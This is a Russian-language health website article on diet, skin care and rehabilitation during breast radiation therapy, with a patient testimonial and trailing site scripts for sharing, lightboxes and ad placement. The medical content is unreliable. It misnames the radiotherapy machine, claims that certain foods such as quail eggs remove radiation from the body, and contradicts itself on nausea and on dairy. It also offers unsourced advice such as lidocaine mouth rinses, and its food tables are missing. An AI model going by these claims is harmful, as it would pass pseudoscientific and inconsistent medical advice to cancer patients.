Питание при облучении молочной железы

Как питаться для реабилитации после облучения груди

Лучевая терапия, носящая также название радиотерапии, часто применяется для лечения рака молочных желез. Ее практикуют как в качестве предоперационного мероприятия, так и после операции.

Методика

В общем, выделяют два режима лучевой терапии:

Для проведения этого вида лучевой терапии используют рентген, носящий название стимулятора. Это специализированная установка, предназначенная для проведения терапевтического облучения. Рентген в таком виде позволяет не только максимально точно подбирать дозу облучения, но и направлять ее в конкретные участки.

Для лечения конкретно рака молочных желез всегда применяется наружный рентген, который имеет меньше последствий и не требует ограничения контактов с людьми. Рентген перемещается под разными углами, чтобы охватить молочные железы со всех сторон.

Если больная чувствует какой-либо дискомфорт, а рентген еще находится в работе, необходимо сообщить об этом врачу.

Эта методика не использует рентген, и сравнительно редко применяется для лечения рака груди. Чаще всего она предполагает введение в организм радиоактивных имплантов. К этому методу врач прибегает в том случае, если отмечена обширная зона поражения, а в процесс распространения опухоли вовлечено 4 и более лимфоузла.

Рентген или импланты – выбирает врач, основываясь на клинической картине и сопоставлении риска и пользы для пациентки.

Последствия

После лучевой терапии молочных желез развивается ряд последствий, связанных с воздействием на организм рентген-лучей. Стоит сразу оговориться, что осложнения не столь ужасны, как многие себе представляют, а восстановление при облучении занимает не так уж много времени. При лучевой терапии молочных желез не выпадают волосы, не встречается тошнота и рвота – связано это с небольшими дозировками, которые используются при лечении опухолей груди. Зато больные часто жалуются на изменения общего состояния.

Чаше всего осложнения в виде утомляемости начинают проявляться на середине курса и полностью исчезают через несколько месяцев после окончания лечения. Некоторые пациентки отмечают осложнения в виде боли в области молочных желез, но это встречается редко.

Многие пациентки также могут отмечать изменения кожи в области молочных желез. Подобные осложнения врачи называют лучевым дерматитом и прописывают противовоспалительные мази. Обычно этот вид дерматита проходит вместе с прекращением облучения.

Реабилитация

В период прохождения лучевой терапии, а также по ее окончанию советуют соблюдать ряд простых правил, которые помогут организму быстрее справиться с воздействием облучения. Реабилитация включает в себя:

• 
• Правильное питание. Диета, направленная на нормализацию обменных процессов и покрывающая все энергетические затраты организма считается очень важной после лучевой терапии. Пациент ни в коем случае не должен ограничивать себя в еде.
• Крест на вредных привычках. На время проведения облучения советуют бросить курение и категорически исключить употребление алкогольной продукции.
• Правильный выбор одежды. Врачи рекомендуют избегать синтетических тканей, а также облегающей одежды, которая может натирать молочные железы, кожа которых и так травмирована облучением.
• Внимание к коже. После лучевой терапии особенно страдают кожные покровы. Необходимо внимательно наблюдать за изменением состояния кожи в местах, где проводится терапия, и сообщать медикам об изменениях в состоянии кожных покровов. Чаще всего врач, осмотрев кожу, дает рекомендации о том, как лучше ухаживать за поврежденными участками.
• Осторожность в выборе косметики. Рекомендуют советоваться с медицинским представителем, чтобы подобрать любое средство по уходу за кожей. Это поможет учесть личные особенности реакции кожи после облучения и скорректировать эти реакции, а не усугубить их.
• Купируйте зуд. Нельзя расчесывать поврежденную после лучевой терапии кожу. Лучше обратиться к врачу, чтобы он помог подобрать средства, которые снимут чувство зуда.
• Внимание к особенностям сезона. Необходимо закрывать поврежденные участки от воздействия прямых солнечных лучей и чаще находиться на свежем воздухе, гулять.

Диета

Диета, как способ коррекции побочных эффектов после лучевой терапии, должна начинаться за 7-10 дней до начала основной стадии лечения. Для начала советуют исключить все продукты, содержащие молоко, а также бобы, капусту и фасоль, чтобы избежать избыточного образования газов. Непосредственно за несколько дней до лечения из рациона исключают большее число круп, чтобы уменьшить перистальтику кишечника.

Можно выделить ряд общих рекомендаций, которым стоит следовать при прохождении лучевой терапии молочных желез:

• 
• Если нет проблем с почками, необходимо потреблять жидкость в большом количестве. Предпочтение лучше отдавать свежевыжатым сокам и зеленому чаю. Стоит обратить внимание, что лучше избегать слишком кислых жидкостей и, если необходимо, разводить их водой до приемлемого вкуса.
• Переходят на дробное питание, употребляя пищу пусть и часто, но маленькими порциями. Это облегчит процесс пищеварения и увеличит количество воспринимаемых веществ.
• Рекомендуют включить в питание большое количество орехов, особенно грецких, а также овощи и фрукты зеленого цвета. Если есть возможность, употребляют в пищу черную смородину, которая дает хороший иммуностимулирующий эффект.
• Бананы, яблоки, сухари и рис рекомендуют сделать основой диеты после и во время лучевой терапии.
• На время проведения лучевой терапии ограничивают или исключают вовсе потребление соленого, жареного, копченостей.
• Максимально повышают ценность рациона. Рекомендации находятся на уровне 2000-2500 ккал в сутки.
• После окончания лучевой терапии можно начинать возвращать в рацион молочные продукты, капусту и другую пищу, которая была исключена.

Без диеты после лучевой терапии молочной железы обойтись нельзя. Конечно, от всех последствий диета не избавит, но поможет значительно уменьшить их проявления. С особенным вниманием стоит относиться к пациенткам, у которых на фоне облучения происходит снижение аппетита. Важным является полноценное, покрывающее все затраты организма на восстановление, питание, которое поможет женщине быстрее реабилитироваться и снова жить полной жизнью, забыв о раке груди.

Диета при лучевой терапии

Врачами рекомендовано диетическое питание при лучевой терапии, чтобы укрепить иммунитет и избежать истощения организма. Рацион составляется индивидуально, в зависимости от типа, стадии рака и проявившихся симптомов. Правильно подобранный рацион снизит негативное воздействие облучения и улучшит самочувствие больного.

Общие правила

Рекомендации по рациону

Монодиета, основанная на длительном потреблении только одного продукта, запрещена. Организм должно получать витамины, макро- и микроэлементы в достаточном количестве.

Чтобы уменьшить негативное воздействие токсичных веществ при облучении, а также улучшить состояние больного, необходимо придерживаться следующих правил:

• Показана пища мягкой пюреобразной консистенции. Рекомендуется использовать блендер или предварительно оставлять еду в молоке.
• Если при пережевывании возникает сильная боль, можно прополоскать рот раствором «Лидокаина» или «Новокаина». Но перед применением важно исключить аллергическую реакцию на компоненты лекарственных препаратов.
• Еду необходимо тушить, варить или готовить на пару. При варке рекомендуется добавлять больше воды и долго томить на небольшом огне.
• Чтобы не спровоцировать потерю аппетита, составляется разнообразный рацион. Рекомендуется заранее распланировать меню на несколько недель.
• В блюда следует добавлять масла, богатые токоферолом. Витамин защитит здоровые клетки от окислительных процессов, вызываемых свободными радикалами.
• В меню включаются продукты, выводящие радиацию из организма. Например, перепелиные яйца, овощи и фрукты.
• Диета начинается за 1—2 недели до сеансов облучения.
• При полном отказе от пищи назначаются питательные капельницы.
• Показана комнатная температура еды, но для купирования болевого синдрома можно охлаждать пищу. На десерт разрешено есть мороженое домашнего приготовления без усилителей вкуса, красителей и химических добавок.

Вернуться к оглавлению

Советы при тошноте и рвоте

Если после облучения возникает сильная негативная симптоматика, то необходимо выполнять следующие рекомендации:

• Чтобы убрать рвотные позывы, в рацион добавляются лимоны, квашеная капуста, соленые огурцы и клюква. Но кислая пища в больших количествах противопоказана, особенно при патологиях желудка.
• За 3 ч. до процедуры не рекомендуется кушать и пить.
• Питание после лучевой терапии исключает еду с резкими запахами и вкусами. Значительно усиливают тошноту и рвоту острые и жирные блюда с добавлением специй. Предпочтение следует отдавать нейтральным вкусовым оттенкам.
• Употреблять напитки во время еды не следует. Лучше пить в перерывах, отдавая предпочтение зеленому чаю.
• При длительной и сильной рвоте необходим отказаться от пищи и жидкости на 6—10 ч. Затем разрешается съесть измельченное или пюреобразное блюдо. Питаться нужно дробно, чтобы не перегрузить желудочно-кишечный тракт.

Вернуться к оглавлению

Что рекомендуется кушать?

При лечении рака лучевой терапией нужно включать в меню следующие продукты, представленные в таблице:

Вернуться к оглавлению

Запрещенные продукты

Правильное питание во время лучевой терапии полностью исключает из рациона следующие блюда, представленные в таблице:

Вернуться к оглавлению

Питьевой режим

Употреблять следует напитки комнатной температуры, но для купирования тошноты можно охладить жидкость. Дополнительно также разрешается добавить 5—6 кап. лимона.

Недостаточное поступление жидкости при лечении онкологии приводит к задержке токсичных веществ в организме, а также провоцирует цистит, образование камней в почках и запоры. Потому диета при лучевой терапии молочной железы предполагает поддержание водного баланса. Минимальное количество потребляемой жидкости — 2,5 л в сутки, но дозировка может быть снижена при появлении отечности тканей, а также при повреждении выделительной системы. Противопоказаны сладкие и кислые напитки. Предпочтение следует отдавать воде без газа, компоту, морсу, зеленому чаю, каркаде, а также фрешам. Наиболее полезные разбавленные свежевыжатые соки из свеклы, моркови и яблока. Мякоть фруктов и овощей дополнительно налаживает функционирование ЖКТ. Крепкий кофе и спиртные напитки запрещаются.

Кристина 38 лет «Я до сих пор отказываюсь верить в свой диагноз. Во время проведения лучевой терапии чувствовала слабость и абсолютно не хотела есть. Мой муж сам составил режим питания исходя из рекомендаций и за компанию начал его придерживаться. Спустя большое количество времени мы отвыкли от вредной пищи и качество жизни улучшилось. Болезнь не прогрессирует».

Загрузка... Сохранить себе в: (function(w,doc) { if (!w.__utlWdgt ) { w.__utlWdgt =" true; "var d =" doc, "s =" d.createElement('script'), "g =" 'getElementsByTagName'; "s.type =" 'text/javascript'; "s.charset='UTF-8'; s.async =" true; "s.src =" ('https:' == "w.location.protocol ? 'https' : 'http') + '://w.uptolike.com/widgets/v1/uptolike.js'; var h="d[g]('body')[0]; h.appendChild"(s); }})(window,document);Питание при облучении молочной железыСсылка на основную публикацию Похожие публикации

• 
• Чешуйки плоского эпителия в молочной железе что это такое
• Фиброза молочной железы что это такое
• Узи молочных желез при лактации
• Травы от рака молочной железы
• Самообследование молочной железы
• Рак молочной железы кальций
• Протезы молочных желез
• Последствия лучевой терапии при раке молочной железы
• Очаговая асимметрия молочной железы
• Одуванчик от рака молочной железы
• Мрт молочных желез
• Маммология молочных желез

wpDiscuz /* */ /* */ /* */ /* */ var fb_timeout, fb_opts={'overlayShow':true,'hideOnOverlayClick':true,'showCloseButton':true,'margin':20,'centerOnScroll':false,'enableEscapeButton':true,'autoScale':true }; if(typeof easy_fancybox_handler==='undefined'){ var easy_fancybox_handler=function(){ jQuery('.nofancybox,a.wp-block-file__button,a.pin-it-button,a[href*="pinterest.com/pin/create"],a[href*="facebook.com/share"],a[href*="twitter.com/share"]').addClass('nolightbox'); /* IMG */ var fb_IMG_select='a[href*=".jpg"]:not(.nolightbox,li".nolightbox>a),area[href*=".jpg"]:not(.nolightbox),a[href*=".jpeg"]:not(.nolightbox,li.nolightbox>a),area[href*=".jpeg"]:not(.nolightbox),a[href*=".png"]:not(.nolightbox,li.nolightbox>a),area[href*=".png"]:not(.nolightbox),a[href*=".webp"]:not(.nolightbox,li.nolightbox>a),area[href*=".webp"]:not(.nolightbox)'; jQuery(fb_IMG_select).addClass('fancybox image'); var fb_IMG_sections=jQuery('.gallery,.wp-block-gallery,.tiled-gallery,.wp-block-jetpack-tiled-gallery'); fb_IMG_sections.each(function(){jQuery(this).find(fb_IMG_select).attr('rel','gallery-'+fb_IMG_sections.index(this));}); jQuery('a.fancybox,area.fancybox,li.fancybox a').each(function(){jQuery(this).fancybox(jQuery.extend({},fb_opts,{'transitionIn':'elastic','easingIn':'easeOutBack','transitionOut':'elastic','easingOut':'easeInBack','opacity':false,'hideOnContentClick':false,'titleShow':true,'titlePosition':'over','titleFromAlt':true,'showNavArrows':true,'enableKeyboardNav':true,'cyclic':false}))}); /* YouTube */ jQuery('a[href*="youtu.be/"],area[href*="youtu.be/"],a[href*="youtube.com/"],area[href*="youtube.com/"]').filter(function(){return this.href.match(/\/(?:youtu\.be|watch\?|embed\/)/);}).not('.nolightbox,li.nolightbox>a').addClass('fancybox-youtube'); jQuery('a.fancybox-youtube,area.fancybox-youtube,li.fancybox-youtube a').each(function(){jQuery(this).fancybox(jQuery.extend({},fb_opts,{'type':'iframe','width':640,'height':360,'keepRatio':1,'titleShow':false,'titlePosition':'float','titleFromAlt':true,'onStart':function(a,i,o){var splitOn="a[i].href.indexOf("?");var urlParms=(splitOn>-1)?a"[i].href.substring(splitOn):"";o.allowfullscreen="(urlParms.indexOf("fs=0")>-1)?false:true;o.href=a[i].href.replace(/https?:\/\/(?:www\.)?youtu(?:\.be\/([^\?]+)\??|be\.com\/watch\?(.*(?=v=))v=([^&]+))(.*)/gi,"https://www.youtube.com/embed/$1$3?$2$4&autoplay=1");}}))});}; jQuery('a.fancybox-close').on('click',function("e){e.preventDefault();jQuery.fancybox.close()}); }; var easy_fancybox_auto="function(){setTimeout(function(){jQuery('#fancybox-auto').trigger('click')},1000);}; jQuery(easy_fancybox_handler);jQuery(document).on('post-load',easy_fancybox_handler); jQuery(easy_fancybox_auto); /**/ jQuery(document).ready(function ($) { //$( document ).ajaxStart(function() { //}); for (var i =" 0; "i < document.forms.length; ++i) { var form =" document.forms[i]; "if ($(form).attr("method") !=" "get") { $(form).append('<input " name="GseMXfETrH" value="n.WSP59t*e" />'); } if ($(form).attr("method") !=" "get") { $(form).append('<input " name="lfuPcND-SpVqH_X" value="*H7L8UtcD5zJfg4" />'); } } $(document).on('submit', 'form', function () { if ($(this).attr("method") !=" "get") { $(this).append('<input " name="GseMXfETrH" value="n.WSP59t*e" />'); } if ($(this).attr("method") !=" "get") { $(this).append('<input " name="lfuPcND-SpVqH_X" value="*H7L8UtcD5zJfg4" />'); } return true; }); jQuery.ajaxSetup({ beforeSend: function (e, data) { //console.log(Object.getOwnPropertyNames(data).sort()); //console.log(data.type); if (data.type !="= 'POST') return; if (typeof data.data === 'object' && data.data !== null) { data.data.append("GseMXfETrH", "n.WSP59t*e"); data.data.append("lfuPcND-SpVqH_X", "*H7L8UtcD5zJfg4"); } else { data.data = data.data + '&GseMXfETrH="n.WSP59t*e&lfuPcND-SpVqH_X="*H7L8UtcD5zJfg4'; } } }); }); Adblock
detectorvar duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()},window.flatPM_sticky=function(e,d,t){var a=e,l=null,f=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(l,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)l.appendChild(a.childNodes[1]);a.style.padding="0",a.style.}a.style. i=a.getBoundingClientRect(),r=Math.round(i.top+l.getBoundingClientRect().height-d.getBoundingClientRect().bottom);i.top-f<=0?i.top-f<=r?(l.className="flatpm_stop",l.style.top=-r+"px"):(l.className="flatpm_fixed",l.style.top=f+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){a.children[0].style. n=60*"e.getTimezoneOffset()*1e3,o="e.getTime"(),e="new Date;return" o+="864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e},window.flatPM_adbDetect=function(){var e=document.querySelector('#ads'+'ense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)},window.flatPM_setCookie=function(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,d=e+"="+(t=encodeURIComponent(t));for(r in n){d+="; "+r;var a=n[r];!0!==a&&(d+="="+a)}document.cookie=d},window.flatPM_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.flatPM_grep=function(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})},window.flatPM_randomString=function(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,i=0;i<e;i++)t+=n.charAt(Math.floor(Math.random()*o));return t},window.flatPM_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_getAllUrlParams=function(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),d=r[0],a=void 0===r[1]||r[1],d=d.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),d.match(/\[(\d+)?\]$/)?(t[i=d.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),d.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(d)[1],t[i][r]=a):t[i].push(a)):t[d]?(t[d]&&"string"==typeof t[d]&&(t[d]=[t[d]]),t[d].push(a)):t[d]=a}return t};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var a=flat_pm_then[e];flatPM_next(a)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,a,o,r,i,l,f,s,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(a=!1)!==e&&(o=e.prevAll('[data-flat-]:first'),r=e.nextAll('[data-flat-]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,f=t.how.onсe.selector,s=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(l="bottom_to_top"==s?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,f=t.how.iterable.selector,s=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==s&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){ -1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?' Закрыть через '+o.how.popup.timer_count+" ":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('

'+c+" "),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' ':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?' Закрыть через '+o.how.outgoing.timer_count+" ":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div '+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+" ");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 